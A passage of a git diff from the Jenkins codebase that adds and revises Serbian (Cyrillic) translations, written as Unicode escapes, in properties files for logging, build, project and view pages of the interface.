Configuration=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0435 \u0436\u0443\u0440\u043D\u0430\u043B\u0430 +Submit=\u041F\u043E\u0434\u043D\u0435\u0441\u0438 +All=\u0421\u0432\u0435 +>\ SEVERE=> \u0421\u0422\u0420\u041E\u0413\u041E +>\ WARNING=> \u0423\u041F\u041E\u0417\u041E\u0420\u0415\u040A\u0415 diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_sr.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_sr.properties new file mode 100644 index 0000000000..2030984d1c --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_sr.properties @@ -0,0 +1,9 @@ +# This file is under the MIT License by authors + +Logger\ Configuration=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0436\u0443\u0440\u043D\u0430\u043B\u043E\u0432\u0430\u045A\u0430 +url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +Name=\u0418\u043C\u0435 +Level=\u041D\u0438\u0432\u043E +defaultLoggerMsg=\u041F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447 \u0431\u0435\u0437 \u0438\u043C\u0435\u043D\u0430 \u0458\u0435 \u0441\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0438 \u043F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447. \u0422\u0430\u0458 \u043D\u0438\u0432\u043E \u045B\u0435 \u0432\u0438\u0442\u0438 \u043D\u0430\u0441\u043B\u0435\u0452\u0435\u043D +Adjust\ Levels=\u041F\u043E\u0434\u0435\u0441\u0438 \u043D\u0438\u0432\u043E\u0435 +Submit=\u041F\u043E\u0434\u043D\u0435\u0441\u0438 \ No newline at end of file diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/new_sr.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/new_sr.properties new file mode 100644 index 0000000000..2fbb8bde38 --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/new_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/sidepanel_sr.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/sidepanel_sr.properties new file mode 100644 index 0000000000..332bbec552 --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/sidepanel_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +Back\ to\ Dashboard=\u041D\u0430\u0437\u0430\u0434 \u043D\u0430 \u043A\u043E\u043D\u0442\u0440\u043E\u043B\u043D\u0443 \u043F\u0430\u043D\u0435\u043B\u0443 +Manage\ Jenkins=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 Jenkins-\u043E\u043C +Logger\ List=\u041F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447\u0438 +New\ Log\ Recorder=\u041D\u043E\u0432\u0438 \u043F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447 +Log\ Levels=\u041D\u0438\u0432\u043E\u0438 \u0436\u0443\u0440\u043D\u0430\u043B\u0430 +All\ Logs=\u0421\u0432\u0438 \u0436\u0443\u0440\u043D\u0430\u043B\u0438 diff --git a/core/src/main/resources/hudson/logging/Messages_sr.properties b/core/src/main/resources/hudson/logging/Messages_sr.properties new file mode 100644 index 0000000000..9cc510fd61 --- /dev/null +++ b/core/src/main/resources/hudson/logging/Messages_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +LogRecorderManager.init=\u0418\u043D\u0438\u0446\u0438\u0430\u043B\u0438\u0437\u0430\u0446\u0438\u0458\u0430 \u043F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447\u0430 +LogRecorderManager.DisplayName=\u0436\u0443\u0440\u043D\u0430\u043B \ No newline at end of file diff --git a/core/src/main/resources/hudson/markup/EscapedMarkupFormatter/config_sr.properties b/core/src/main/resources/hudson/markup/EscapedMarkupFormatter/config_sr.properties new file mode 100644 index 0000000000..b8caf9dd6b --- /dev/null +++ b/core/src/main/resources/hudson/markup/EscapedMarkupFormatter/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +blurb=\u0421\u043C\u0430\u0442\u0440\u0430 \u0441\u0432\u0435 \u043A\u0430\u043E \u043E\u0431\u0438\u0447\u0430\u043D \u0442\u0435\u043A\u0441\u0442. HTML \u0437\u043D\u0430\u0446\u0438 < \u0438 & \u0441\u0443 \u043F\u0440\u0435\u0442\u0432\u043E\u0440\u0435\u043D\u0438 \u0443 \u043E\u0434\u0433\u043E\u0432\u0430\u0440\u0430\u0458\u0443\u045B\u0435 \u0435\u043D\u0442\u0438\u0442\u0435\u0442\u0435. diff --git a/core/src/main/resources/hudson/markup/Messages_sr.properties b/core/src/main/resources/hudson/markup/Messages_sr.properties new file mode 100644 index 0000000000..5f8d6dcd1f --- /dev/null +++ b/core/src/main/resources/hudson/markup/Messages_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +EscapedMarkupFormatter.DisplayName=\u041E\u0431\u0438\u0447\u0430\u043D \u0442\u0435\u043A\u0441\u0442 \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/AbstractBuild/changes_sr.properties b/core/src/main/resources/hudson/model/AbstractBuild/changes_sr.properties index 5d4ef6a979..0a8f87fa88 100644 --- a/core/src/main/resources/hudson/model/AbstractBuild/changes_sr.properties +++ b/core/src/main/resources/hudson/model/AbstractBuild/changes_sr.properties @@ -1,3 +1,6 @@ # This file is under the MIT License by authors Changes=\u041F\u0440\u043E\u043C\u0435\u043D\u0435 +Not\ yet\ determined=\u0408\u043E\u0448 \u043D\u0438\u0458\u0435 \u043E\u0434\u0440\u0435\u0452\u0435\u043D\u043E +Failed\ to\ determine=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u043E\u0434\u0440\u0435\u0434\u0438\u0442\u0438 +log=\u0436\u0443\u0440\u043D\u0430\u043B diff --git a/core/src/main/resources/hudson/model/AbstractBuild/index_sr.properties b/core/src/main/resources/hudson/model/AbstractBuild/index_sr.properties index 2a36f45d57..8015f80d9c 100644 --- a/core/src/main/resources/hudson/model/AbstractBuild/index_sr.properties +++ b/core/src/main/resources/hudson/model/AbstractBuild/index_sr.properties @@ -1,7 +1,16 @@ # This file is under the MIT License by authors -Build=Projekat +Build=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 Build\ Artifacts=Artifakti projekta -Took=Uzmi -on=na -startedAgo=Zapoceto pre {0} +Took=\u0422\u0440\u0430\u0458\u0430\u043B\u043E: +on=\u043D\u0430 +startedAgo=\u0417\u0430\u043F\u043E\u0447\u0435\u0442\u043E \u043F\u0440\u0435 {0} +beingExecuted=\u0418\u0437\u0432\u0440\u0448\u0430\u0432\u0430 \u0441\u0435 {0} +Changes\ in\ dependency=\u041F\u0440\u043E\u043C\u0435\u043D\u0435 \u0443 \u0437\u0430\u0432\u0438\u0441\u043D\u043E\u043C \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0443 +detail=\u0434\u0435\u0442\u0430\u0459\u043D\u0435 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 +Not\ yet\ determined=\u041D\u0438\u0458\u0435 \u0458\u043E\u0448 \u043E\u0434\u0440\u0435\u0452\u0435\u043D\u043E +Failed\ to\ determine=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u043B\u043E \u043E\u0434\u0440\u0435\u0434\u0438\u0442\u0438 +log=\u0436\u0443\u0440\u043D\u0430\u043B +Upstream\ Builds=Upstream \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Downstream\ Builds=Downstream \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +none=\u043D\u0438\u0458\u0435\u0434\u043D\u043E diff --git a/core/src/main/resources/hudson/model/AbstractBuild/sidepanel_sr.properties b/core/src/main/resources/hudson/model/AbstractBuild/sidepanel_sr.properties index effcb55a0a..639db57af0 100644 --- a/core/src/main/resources/hudson/model/AbstractBuild/sidepanel_sr.properties +++ b/core/src/main/resources/hudson/model/AbstractBuild/sidepanel_sr.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors -Next\ Build=Naredna Gradnja -Previous\ Build=Prethodno sklapoanje +Previous\ Build=\u041F\u0440\u0435\u0442\u0445\u043E\u0434\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Next\ Build=\u0421\u043B\u0435\u0434\u0435\u045B\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 diff --git a/core/src/main/resources/hudson/model/AbstractBuild/tasks_sr.properties b/core/src/main/resources/hudson/model/AbstractBuild/tasks_sr.properties index 2505d1654c..f980312c41 100644 --- a/core/src/main/resources/hudson/model/AbstractBuild/tasks_sr.properties +++ b/core/src/main/resources/hudson/model/AbstractBuild/tasks_sr.properties @@ -1,9 +1,10 @@ # This file is under the MIT License by authors -Back\ to\ Project=Nazad na projekt -Changes=Promjene -Console\ Output=Ispis konzole -Edit\ Build\ Information=Izmeni informacije o sklapoanju -View\ Build\ Information=Pogledaj informacije u buildu -View\ as\ plain\ text=Pregledati kao cisti text -raw=sirov +Changes=\u041F\u0440\u043E\u043C\u0435\u043D\u0435 +Console\ Output=\u0418\u0441\u0445\u043E\u0434 \u0438\u0437 \u043A\u043E\u043D\u0437\u043E\u043B\u0435 +Edit\ Build\ Information=\u0423\u0440\u0435\u0434\u0438 \u043F\u043E\u0441\u0442\u0430\u0432\u043A\u0435 \u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0438 +View\ Build\ Information=\u041F\u043E\u0441\u0442\u0430\u0432\u043A\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +View\ as\ plain\ text=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u043E\u0431\u0438\u0447\u043D\u043E\u0433 \u0442\u0435\u043A\u0441\u0442\u0430 +raw=\u043D\u0435\u0444\u043E\u0440\u043C\u0430\u0442\u0438\u0437\u043E\u0432\u0430\u043D \u043F\u0440\u0435\u0433\u043B\u0435\u0434 +Status=\u0421\u0442\u0430\u045A\u0435 +Back\ to\ Project=\u041D\u0430\u0437\u0430\u0434 \u043A\u0430 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0443 diff --git a/core/src/main/resources/hudson/model/AbstractItem/delete_sr.properties b/core/src/main/resources/hudson/model/AbstractItem/delete_sr.properties new file mode 100644 index 0000000000..4777801d8f --- /dev/null +++ b/core/src/main/resources/hudson/model/AbstractItem/delete_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +blurb=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0438\u0437\u0431\u0440\u0438\u0441\u0430\u0442\u0438 {0} "{1}"? +Yes=\u0414\u0430 +Are\ you\ sure\ about\ deleting\ the\ job?=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435 \u0437\u0430\u0434\u0430\u0442\u0430\u043A? diff --git a/core/src/main/resources/hudson/model/AbstractItem/noWorkspace_sr.properties b/core/src/main/resources/hudson/model/AbstractItem/noWorkspace_sr.properties new file mode 100644 index 0000000000..7c8d5110c9 --- /dev/null +++ b/core/src/main/resources/hudson/model/AbstractItem/noWorkspace_sr.properties @@ -0,0 +1,14 @@ +# This file is under the MIT License by authors + +Error\:\ no\ workspace=\u0413\u0440\u0435\u0448\u043A\u0430: \u043D\u0435\u043C\u0430 \u0440\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 +A\ project\ won't\ have\ any\ workspace\ until\ at\ least\ one\ build\ is\ performed.=\u041F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u043D\u0435\u045B\u0435 \u0438\u043C\u0430\u0442\u0438 \u0440\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 \u0434\u043E\u043A \u0441\u0435 \u043D\u0435 \u0438\u0437\u0432\u0440\u0448\u0438 \u0458\u0435\u0434\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435. +There's\ no\ workspace\ for\ this\ project.\ Possible\ reasons\ are\:=\u041D\u0435\u043C\u0430 \u0440\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 \u0437\u0430 \u043E\u0432\u0430\u0458 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442. \u041C\u043E\u0433\u0443\u045B\u0435 \u0458\u0435: +The\ project\ was\ renamed\ recently\ and\ no\ build\ was\ done\ under\ the\ new\ name.=\u041F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0458\u0435 \u0441\u043A\u043E\u0440\u043E \u043F\u0440\u0435\u0438\u043C\u0435\u043D\u043E\u0432\u0430\u043D, \u0438 \u0458\u043E\u0448 \u043D\u0435\u043C\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u043F\u043E \u043D\u043E\u0432\u0438\u043C \u0438\u043C\u0435\u043D\u043E\u043C. +The\ agent\ this\ project\ has\ run\ on\ for\ the\ last\ time\ was\ removed.=\u0410\u0433\u0435\u043D\u0442 \u043E\u0432\u043E\u043C \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0443 \u043D\u0430 \u043A\u043E\u043C \u0458\u0435 \u0437\u0430\u0434\u045A\u0435 \u0438\u0437\u0432\u0440\u0448\u0435\u043D\u043E \u0458\u0435 \u0438\u0437\u0431\u0440\u0438\u0441\u0430\u043D. +li3=\u0420\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 "{0}" \u0458\u0435 \u0438\u0437\u0431\u0430\u0447\u0435\u043D \u0438\u0437 Jenkins. +The\ workspace\ was\ wiped\ out\ and\ no\ build\ has\ been\ done\ since\ then.=\u041D\u0438\u0458\u0435 \u0431\u0438\u043B\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043E\u0442\u043A\u0430\u0434 \u0458\u0435 \u0440\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 \u0438\u0437\u0431\u0440\u0438\u0441\u0430\u043D. +text=\u041F\u043E\u043A\u0440\u0435\u043D\u0438\u0442\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0438 Jenkins \u045B\u0435 \u0441\u0442\u0432\u043E\u0440\u0438\u0442\u0438 \u0440\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440. +Error=\ no workspace=\u0413\u0440\u0435\u0448\u043A\u0430: \u043D\u0435\u043C\u0430 \u0440\u0430\u0434\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430 +There''s\ no\ workspace\ for\ this\ project.\ Possible\ reasons\ are\:=\u041D\u0435\u043C\u0430 \u0440\u0430\u0434\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430 \u0437\u0430 \u043E\u0432\u0430\u0458 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442. \u041C\u043E\u0433\u0443\u045B\u0435 \u0458\u0435: +A\ project\ won''t\ have\ any\ workspace\ until\ at\ least\ one\ build\ is\ performed.=\u041F\u0440\u043E\u0458\u043A\u0442\u0438 \u043D\u0435\u045B\u0435 \u0438\u043C\u0430\u0442\u0438 \u0440\u0430\u0434\u043D\u0438\u0445 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430 \u0434\u043E\u043A \u0441\u0435 \u043D\u0435 \u0438\u0437\u0432\u0440\u0448\u0438 \u0458\u0435\u0434\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430. +The\ slave\ this\ project\ has\ run\ on\ for\ the\ last\ time\ was\ removed.=\u041F\u043E\u043C\u043E\u045B\u043D\u0438\u043A \u043E\u0432\u043E\u043C \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0443 \u043D\u0430 \u043A\u043E\u043C \u0458\u0435 \u0437\u0430\u0434\u045A\u0435 \u0438\u0437\u0432\u0440\u0448\u0435\u043D\u043E \u0458\u0435 \u0438\u0437\u0431\u0440\u0438\u0441\u0430\u043D. diff --git a/core/src/main/resources/hudson/model/AbstractModelObject/descriptionForm_sr.properties b/core/src/main/resources/hudson/model/AbstractModelObject/descriptionForm_sr.properties new file mode 100644 index 0000000000..c8e10fc8ec --- /dev/null +++ b/core/src/main/resources/hudson/model/AbstractModelObject/descriptionForm_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Submit=\u041F\u043E\u0434\u043D\u0435\u0441\u0438 diff --git a/core/src/main/resources/hudson/model/AbstractModelObject/editDescription_sr.properties b/core/src/main/resources/hudson/model/AbstractModelObject/editDescription_sr.properties new file mode 100644 index 0000000000..c8e10fc8ec --- /dev/null +++ b/core/src/main/resources/hudson/model/AbstractModelObject/editDescription_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Submit=\u041F\u043E\u0434\u043D\u0435\u0441\u0438 diff --git a/core/src/main/resources/hudson/model/AbstractModelObject/error_sr.properties b/core/src/main/resources/hudson/model/AbstractModelObject/error_sr.properties new file mode 100644 index 0000000000..29271bc5b9 --- /dev/null +++ b/core/src/main/resources/hudson/model/AbstractModelObject/error_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Error=\u0413\u0440\u0435\u0448\u043A\u0430 +Detail...=\u0414\u0435\u0442\u0430\u0459\u0438... diff --git a/core/src/main/resources/hudson/model/AbstractProject/BecauseOfUpstreamBuildInProgress/summary_sr.properties b/core/src/main/resources/hudson/model/AbstractProject/BecauseOfUpstreamBuildInProgress/summary_sr.properties new file mode 100644 index 0000000000..99a47ce673 --- /dev/null +++ b/core/src/main/resources/hudson/model/AbstractProject/BecauseOfUpstreamBuildInProgress/summary_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +description=\u041F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 "{0}", \u043E\u0434 \u043A\u043E\u0433\u0430 \u043E\u0432\u0430\u0458 \u0437\u0430\u0432\u0438\u0441\u0438, \u0441\u0435 \u0432\u0435\u045B \u0433\u0440\u0430\u0434\u0438. \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/AbstractProject/changes_sr.properties b/core/src/main/resources/hudson/model/AbstractProject/changes_sr.properties new file mode 100644 index 0000000000..d12d7fda35 --- /dev/null +++ b/core/src/main/resources/hudson/model/AbstractProject/changes_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +changes.title={0} \u043F\u0440\u043E\u043C\u0435\u043D\u0435 +Changes=\u041F\u0440\u043E\u043C\u0435\u043D\u0435 +range.label=\ \u043E\u0434 #{0} \u0434\u043E #{1} +from.label=\ \u043E\u0434 #{0} +to.label=\ \u0434\u043E #{0} diff --git a/core/src/main/resources/hudson/model/AbstractProject/configure-common_sr.properties b/core/src/main/resources/hudson/model/AbstractProject/configure-common_sr.properties new file mode 100644 index 0000000000..6f82603f0a --- /dev/null +++ b/core/src/main/resources/hudson/model/AbstractProject/configure-common_sr.properties @@ -0,0 +1,13 @@ +# This file is under the MIT License by authors + +JDK\ to\ be\ used\ for\ this\ project=JDK \u043A\u043E\u0458\u0438 \u045B\u0435 \u0441\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0438 \u0437\u0430 \u043E\u0432\u0430\u0458 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 +Display\ Name=\u0418\u043C\u0435 +Keep\ the\ build\ logs\ of\ dependencies=\u0417\u0430\u0434\u0440\u0436\u0438 \u0436\u0443\u0440\u043D\u0430\u043B \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u043E\u0434 \u0437\u0430\u0432\u0438\u0441\u043D\u0438\u0445 +Advanced\ Project\ Options=\u041D\u0430\u043F\u0440\u0435\u0434\u043D\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 +default.value=(\u0441\u0442\u0430\u043D\u0434\u0430\u0440\u0434) +Restrict\ where\ this\ project\ can\ be\ run=O\u0433\u0440\u0430\u043D\u0438\u0447\u0438 \u0433\u0434\u0435 \u0458\u0435 \u043E\u0432\u0430\u0458 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u043C\u043E\u0436\u0435 \u0431\u0438\u0442\u0438 \u0438\u0437\u0432\u0440\u0448\u0435\u043D +Tie\ this\ project\ to\ a\ node=\u041F\u043E\u0432\u0435\u0436\u0438 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0441\u0430 \u043C\u0430\u0448\u0438\u043D\u043E\u043C +Node=\u041C\u0430\u0448\u0438\u043D\u0430 +Advanced\ Project\ Options\ configure-common=\u041D\u0430\u043F\u0440\u0435\u0434\u043D\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 +title.concurrentbuilds=\u041E\u0431\u0430\u0432\u0459\u0430 \u043F\u0430\u0440\u0430\u043B\u0435\u043B\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u0430\u043A\u043E \u0431\u0443\u0434\u0435 \u0431\u0438\u043B\u043E \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E +Label\ Expression=\u041D\u0430\u043F\u0440\u0435\u0434\u043D\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 diff --git a/core/src/main/resources/hudson/model/AbstractProject/main_sr.properties b/core/src/main/resources/hudson/model/AbstractProject/main_sr.properties index 543c3b75fd..9ae2b613dc 100644 --- a/core/src/main/resources/hudson/model/AbstractProject/main_sr.properties +++ b/core/src/main/resources/hudson/model/AbstractProject/main_sr.properties @@ -1,4 +1,6 @@ # This file is under the MIT License by authors -Last\ Successful\ Artifacts=Poslednji uspe\u0161ni artifakt -Recent\ Changes=Nedavne promene +Recent\ Changes=\u041D\u0435\u0434\u0430\u0432\u043D\u0435 \u043F\u0440\u043E\u043C\u0435\u043D\u0435 +Workspace=\u0420\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 +Last\ Successful\ Artifacts=\u041F\u043E\u0441\u043B\u0435\u0434\u045A\u0435 \u0443\u0441\u043F\u0435\u0448\u043D\u0438 Artifacts +Latest\ Console\ output=\u041F\u043E\u0441\u043B\u0435\u0434\u045A\u0438 \u0438\u0441\u0445\u043E\u0434 \u0438\u0437 \u043A\u043E\u043D\u0437\u043E\u043B\u0435 diff --git a/core/src/main/resources/hudson/model/AbstractProject/makeDisabled_sr.properties b/core/src/main/resources/hudson/model/AbstractProject/makeDisabled_sr.properties new file mode 100644 index 0000000000..ccf1bf9b67 --- /dev/null +++ b/core/src/main/resources/hudson/model/AbstractProject/makeDisabled_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +This\ project\ is\ currently\ disabled=\u041E\u0432\u0430\u0458 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0458\u0435 \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u043E \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0435\u043D +Enable=\u041E\u043C\u043E\u0433\u0443\u045B\u0438 +Disable\ Project=\u041E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0438 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 diff --git a/core/src/main/resources/hudson/model/AbstractProject/sidepanel_sr.properties b/core/src/main/resources/hudson/model/AbstractProject/sidepanel_sr.properties index 2eebf4c981..ef47d9183d 100644 --- a/core/src/main/resources/hudson/model/AbstractProject/sidepanel_sr.properties +++ b/core/src/main/resources/hudson/model/AbstractProject/sidepanel_sr.properties @@ -1,6 +1,10 @@ # This file is under the MIT License by authors -Back\ to\ Dashboard=Nazad na Tablu -Changes=Izmene -Wipe\ Out\ Workspace=Obrisi Workspace -wipe.out.confirm=Da li si siguran da \u017eeli\u0161 da poni\u0161ti\u0161 radni prostor +Back\ to\ Dashboard=\u041D\u0430\u0437\u0430\u0434 \u043D\u0430 \u043A\u043E\u043D\u0442\u0440\u043E\u043B\u043D\u0443 \u043F\u0430\u043D\u0435\u043B\u0443 +Changes=\u041F\u0440\u043E\u043C\u0435\u043D\u0435 +Wipe\ Out\ Workspace=\u0418\u0437\u0431\u0440\u0438\u0448\u0438 \u0440\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 +wipe.out.confirm=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u043F\u043E\u043D\u0438\u0448\u0442\u0438\u0442\u0435 \u0440\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440? +Up=\u041D\u0430\u0433\u043E\u0440\u0435 +Status=\u0421\u0442\u0430\u045A\u0435 +Workspace=\u0420\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 +View\ Configuration=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458 \u043F\u043E\u0441\u0442\u0430\u0432\u043A\u0435 diff --git a/core/src/main/resources/hudson/model/AbstractProject/wipeOutWorkspaceBlocked_sr.properties b/core/src/main/resources/hudson/model/AbstractProject/wipeOutWorkspaceBlocked_sr.properties new file mode 100644 index 0000000000..239c6b464b --- /dev/null +++ b/core/src/main/resources/hudson/model/AbstractProject/wipeOutWorkspaceBlocked_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Error\:\ Wipe\ Out\ Workspace\ blocked\ by\ SCM=\u0413\u0440\u0435\u0448\u043A\u0430: \u0431\u0440\u0438\u0441\u0430\u045A\u0435 \u0440\u0430\u0434\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430 \u0458\u0435 \u0441\u043F\u0440\u0435\u0447\u0438\u0458\u043E \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0430 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 +The\ SCM\ for\ this\ project\ has\ blocked\ this\ attempt\ to\ wipe\ out\ the\ project's\ workspace.=\u0421\u0438\u0441\u0442\u0435\u043C \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0430 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 \u0458\u0435 \u0441\u043F\u0440\u0435\u0447\u0438\u0458\u043E \u0431\u0440\u0438\u0441\u0430\u045A\u0435 \u0440\u0430\u0434\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430. diff --git a/core/src/main/resources/hudson/model/AgentSlave/config_sr.properties b/core/src/main/resources/hudson/model/AgentSlave/config_sr.properties new file mode 100644 index 0000000000..2b6b09af19 --- /dev/null +++ b/core/src/main/resources/hudson/model/AgentSlave/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +launch\ command=\u043F\u043E\u043A\u0440\u0435\u0442\u043D\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u0430 diff --git a/core/src/main/resources/hudson/model/AllView/newViewDetail_sr.properties b/core/src/main/resources/hudson/model/AllView/newViewDetail_sr.properties new file mode 100644 index 0000000000..6c827494b8 --- /dev/null +++ b/core/src/main/resources/hudson/model/AllView/newViewDetail_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +blurb=\u041E\u0432\u0430\u0458 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 \u043F\u0440\u0438\u043A\u0430\u0436\u0435 \u0441\u0432\u0435 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u043D\u0430 Jenkins. diff --git a/core/src/main/resources/hudson/model/AllView/noJob_sr.properties b/core/src/main/resources/hudson/model/AllView/noJob_sr.properties index a0d1ef95df..83ce33c5a5 100644 --- a/core/src/main/resources/hudson/model/AllView/noJob_sr.properties +++ b/core/src/main/resources/hudson/model/AllView/noJob_sr.properties @@ -1,4 +1,6 @@ # This file is under the MIT License by authors -Welcome\ to\ Jenkins!=Dobrodo\u0161li u Jenkins! -newJob=Molimo napravite poslove da po\u010Dnete sa radom. +Welcome\ to\ Jenkins!=\u0414\u043E\u0431\u0440\u043E\u0434\u043E\u0448\u043B\u0438 \u0443 Jenkins! +newJob=\u041A\u0440\u0435\u0438\u0440\u0430\u0442\u0435 \u0437\u0430\u0434\u0430\u0442\u0430\u043A \u0434\u0430 \u043F\u043E\u0447\u043D\u0435\u0442\u0435 \u0441\u0430 \u0440\u0430\u0434\u043E\u043C. +login=\ \u041F\u0440\u0438\u0458\u0430\u0432\u0438\u0442\u0435 \u0441\u0435, \u0434\u0430 \u043F\u043E\u043A\u0440\u0435\u043D\u0435\u0442\u0435 \u043D\u043E\u0432\u0438 \u0437\u0430\u0434\u0430\u0442\u043A\u0435. +signup=\u0410\u043A\u043E \u043D\u0435\u043C\u0430\u0442\u0435 \u043D\u0430\u043B\u043E\u0433, 